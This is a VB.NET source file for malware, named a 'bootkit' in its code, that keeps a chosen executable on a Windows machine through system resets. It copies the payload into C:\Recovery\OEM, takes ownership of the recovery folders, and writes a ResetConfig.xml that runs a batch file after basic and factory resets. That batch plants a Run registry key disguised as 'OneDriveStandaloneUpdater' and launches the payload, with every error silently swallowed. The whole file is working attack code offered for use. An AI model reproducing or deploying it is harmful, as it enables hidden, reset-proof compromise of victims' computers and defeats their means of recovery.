Imports System.IO

Namespace ResetSurvival
	Public Class ResetSurvival
		Public Shared Sub RunBootkit(sourceFilePath As String)
			Try
				Dim flag As Boolean = Not File.Exists(sourceFilePath)
				If flag Then
					Throw New FileNotFoundException("Source file does not exist.", sourceFilePath)
				End If
				Dim text As String = Guid.NewGuid().ToString() + ".exe"
				Dim text2 As String = Guid.NewGuid().ToString() + ".bat"
				Dim text3 As String = GenerateResetConfig(text2)
				Dim text4 As String = GeneratePersistenceBatch(text, text2)
				CreateResetEnvironment(targetDirectory, text, text2, text3, text4, sourceFilePath)
			Catch ex As Exception
			End Try
		End Sub
		Private Shared Function GenerateResetConfig(batchName As String) As String
			Return String.Concat(New String() {"<?xml version=""1.0"" encoding=""utf-8""?>" & vbCrLf & "<Reset>" & vbCrLf & "  <Run Phase=""BasicReset_AfterImageApply"">" & vbCrLf, String.Format("    <Path>{0}</Path>", batchName), vbCrLf & "    <Duration>1</Duration>" & vbCrLf & "  </Run>" & vbCrLf & "  <Run Phase=""FactoryReset_AfterImageApply"">" & vbCrLf, String.Format("    <Path>{0}</Path>", batchName), vbCrLf & "    <Duration>1</Duration>" & vbCrLf & "  </Run>" & vbCrLf & "</Reset>" & vbCrLf})
		End Function
		Private Shared Function GeneratePersistenceBatch(fileName As String, batchName As String) As String
			Return String.Concat(New String() {"@echo off" & vbCrLf & "setlocal ENABLEEXTENSIONS" & vbCrLf & "set TARGET_PARENT=C:\Recovery" & vbCrLf & "set TARGET_FOLDER=C:\Recovery\OEM" & vbCrLf & "set SOFTWARE_HIVE_PATH=C:\Windows\System32\config\SOFTWARE" & vbCrLf & "takeown /f ""%TARGET_PARENT%"" /r /d y" & vbCrLf & "icacls ""%TARGET_PARENT%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "takeown /f ""%TARGET_FOLDER%"" /r /d y" & vbCrLf & "icacls ""%TARGET_FOLDER%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "reg load HKLM\TempHive ""%SOFTWARE_HIVE_PATH%""" & vbCrLf, String.Format("reg add ""HKLM\TempHive\Microsoft\Windows\CurrentVersion\Run"" /v ""OneDriveStandaloneUpdater"" /t REG_SZ /d ""\""%TARGET_FOLDER%\{0}\"""" /f", fileName), vbCrLf & "reg unload HKLM\TempHive" & vbCrLf, String.Format("start """" ""%TARGET_FOLDER%\{0}""", fileName), vbCrLf & "endlocal" & vbCrLf & "exit" & vbCrLf})
		End Function
		Private Shared Sub CreateResetEnvironment(targetDir As String, fileName As String, batchName As String, resetConfig As String, persistenceBatch As String, sourceFilePath As String)
			Try
				Dim flag As Boolean = Not Directory.Exists(targetDir)
				If flag Then
					Directory.CreateDirectory(targetDir)
				End If
				EnsureFolderOwnership(targetDir)
				SafeFileDelete(Path.Combine(targetDir, "ResetConfig.xml"))
				File.WriteAllText(Path.Combine(targetDir, "ResetConfig.xml"), resetConfig)
				SafeFileDelete(Path.Combine(targetDir, batchName))
				File.WriteAllText(Path.Combine(targetDir, batchName), persistenceBatch)
				SafeFileDelete(Path.Combine(targetDir, fileName))
				File.Copy(sourceFilePath, Path.Combine(targetDir, fileName))
			Catch ex As Exception
			End Try
		End Sub
		Private Shared Sub EnsureFolderOwnership(folderPath As String)
			Try
				Dim directoryName As String = Path.GetDirectoryName(folderPath)
				RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", directoryName))
				RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", directoryName))
				RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", folderPath))
				RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", folderPath))
			Catch ex As Exception
			End Try
		End Sub
		Private Shared Sub RunCommand(fileName As String, arguments As String)
			Using process As Process = New Process()
				process.StartInfo.FileName = fileName
				process.StartInfo.Arguments = arguments
				process.StartInfo.CreateNoWindow = True
				process.StartInfo.UseShellExecute = False
				process.Start()
				process.WaitForExit()
			End Using
		End Sub
		Private Shared Sub SafeFileDelete(filePath As String)
			Try
				Dim flag As Boolean = File.Exists(filePath)
				If flag Then
					File.Delete(filePath)
				End If
			Catch ex As Exception
			End Try
		End Sub

		Private Shared targetDirectory As String = "C:\Recovery\OEM"
	End Class
End Namespace